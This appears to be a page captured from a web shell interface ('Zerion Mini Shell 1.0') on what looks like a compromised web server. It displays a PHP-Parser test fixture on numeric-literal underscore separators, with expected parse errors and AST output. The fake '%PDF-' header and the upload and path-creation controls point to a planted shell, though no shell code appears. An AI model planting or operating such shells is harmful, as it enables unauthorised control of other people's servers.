%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/geotechnics/api/vendor/nikic/php-parser/test/code/parser/scalar/
Upload File :
Create Path :
Current File : /var/www/html/geotechnics/api/vendor/nikic/php-parser/test/code/parser/scalar/numberSeparators.test

Different integer syntaxes
-----
<?php

6.674_083e-11;
299_792_458;
0xCAFE_F00D;
0b0101_1111;
0137_041;

// already a valid constant name
_100;

// syntax errors
100_;
1__1;
1_.0;
1._0;
0x_123;
0b_101;
1_e2;
1e_2;
-----
Syntax error, unexpected T_STRING from 13:4 to 13:4
Syntax error, unexpected T_STRING from 14:2 to 14:4
Syntax error, unexpected T_STRING from 15:2 to 15:2
Syntax error, unexpected T_STRING from 16:3 to 16:4
Syntax error, unexpected T_STRING from 17:2 to 17:6
Syntax error, unexpected T_STRING from 18:2 to 18:6
Syntax error, unexpected T_STRING from 19:2 to 19:4
Syntax error, unexpected T_STRING from 20:2 to 20:4
array(
    0: Stmt_Expression(
        expr: Scalar_DNumber(
            value: 6.674083E-11
        )
    )
    1: Stmt_Expression(
        expr: Scalar_LNumber(
            value: 299792458
        )
    )
    2: Stmt_Expression(
        expr: Scalar_LNumber(
            value: 3405705229
        )
    )
    3: Stmt_Expression(
        expr: Scalar_LNumber(
            value: 95
        )
    )
    4: Stmt_Expression(
        expr: Scalar_LNumber(
            value: 48673
        )
    )
    5: Stmt_Expression(
        expr: Expr_ConstFetch(
            name: Name(
                parts: array(
                    0: _100
                )
                comments: array(
                    0: // already a valid constant name
                )
            )
            comments: array(
                0: // already a valid constant name
            )
        )
        comments: array(
            0: // already a valid constant name
        )
    )
    6: Stmt_Expression(
        expr: Scalar_LNumber(
            value: 100
            comments: array(
                0: // syntax errors
            )
        )
        comments: array(
            0: // syntax errors
        )
    )
    7: Stmt_Expression(
        expr: Expr_ConstFetch(
            name: Name(
                parts: array(
                    0: _
                )
            )
        )
    )
    8: Stmt_Expression(
        expr: Scalar_LNumber(
            value: 1
        )
    )
    9: Stmt_Expression(
        expr: Expr_ConstFetch(
            name: Name(
                parts: array(
                    0: __1
                )
            )
        )
    )
    10: Stmt_Expression(
        expr: Scalar_LNumber(
            value: 1
        )
    )
    11: Stmt_Expression(
        expr: Expr_ConstFetch(
            name: Name(
                parts: array(
                    0: _
                )
            )
        )
    )
    12: Stmt_Expression(
        expr: Scalar_DNumber(
            value: 0
        )
    )
    13: Stmt_Expression(
        expr: Scalar_DNumber(
            value: 1
        )
    )
    14: Stmt_Expression(
        expr: Expr_ConstFetch(
            name: Name(
                parts: array(
                    0: _0
                )
            )
        )
    )
    15: Stmt_Expression(
        expr: Scalar_LNumber(
            value: 0
        )
    )
    16: Stmt_Expression(
        expr: Expr_ConstFetch(
            name: Name(
                parts: array(
                    0: x_123
                )
            )
        )
    )
    17: Stmt_Expression(
        expr: Scalar_LNumber(
            value: 0
        )
    )
    18: Stmt_Expression(
        expr: Expr_ConstFetch(
            name: Name(
                parts: array(
                    0: b_101
                )
            )
        )
    )
    19: Stmt_Expression(
        expr: Scalar_LNumber(
            value: 1
        )
    )
    20: Stmt_Expression(
        expr: Expr_ConstFetch(
            name: Name(
                parts: array(
                    0: _e2
                )
            )
        )
    )
    21: Stmt_Expression(
        expr: Scalar_LNumber(
            value: 1
        )
    )
    22: Stmt_Expression(
        expr: Expr_ConstFetch(
            name: Name(
                parts: array(
                    0: e_2
                )
            )
        )
    )
)

Zerion Mini Shell 1.0